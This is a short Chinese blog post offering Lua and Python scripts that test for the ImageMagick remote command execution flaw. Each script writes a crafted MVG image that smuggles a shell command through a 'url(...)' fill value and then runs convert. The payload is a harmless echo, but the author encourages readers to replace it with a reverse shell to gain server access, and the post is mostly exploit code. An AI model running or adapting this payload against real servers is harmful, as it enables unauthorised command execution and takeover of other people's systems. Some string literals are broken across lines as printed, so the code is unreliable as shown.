ImageMagick远程命令执行工具检测工具

ImageMagick这个漏洞昨天晚上就出来了，今天才有时间研究一下，今天自己也测试了一下

效果图：

=======================

用lua写了一个检测脚本

print ("Checking...")
file=io.open("exp.jpg","w")
--file:write("s")
file:write("push graphic-context
viewbox 0 0 640 480
")
file:write("fill 'url(https://example.com/image.jpg")
file:write('"|echo "success!!!)')
file:write("'
")
file:write("pop graphic-context")
file:close()
cmd=io.popen("convert exp.jpg test.png")
result=cmd:read("*all")
print(result)

python版本：

import os

file = open("./x","w")
file.write("push graphic-context
")
file.write("viewbox 0 0 640 480
")
file.write("fill 'url(https://example.com/image.jpg"|echo "dangerous!)'
")
file.write("pop graphic-context
")
file.close()

res = os.system("convert ./x ./y 2>/dev/null")
if os.path.exists("x"):
    os.remove("x")
if os.path.exists("y"):
    os.remove("y")

如果存在返回

当然playload自己改吧，可以直接反弹个shell回来，直接拿到服务器权限
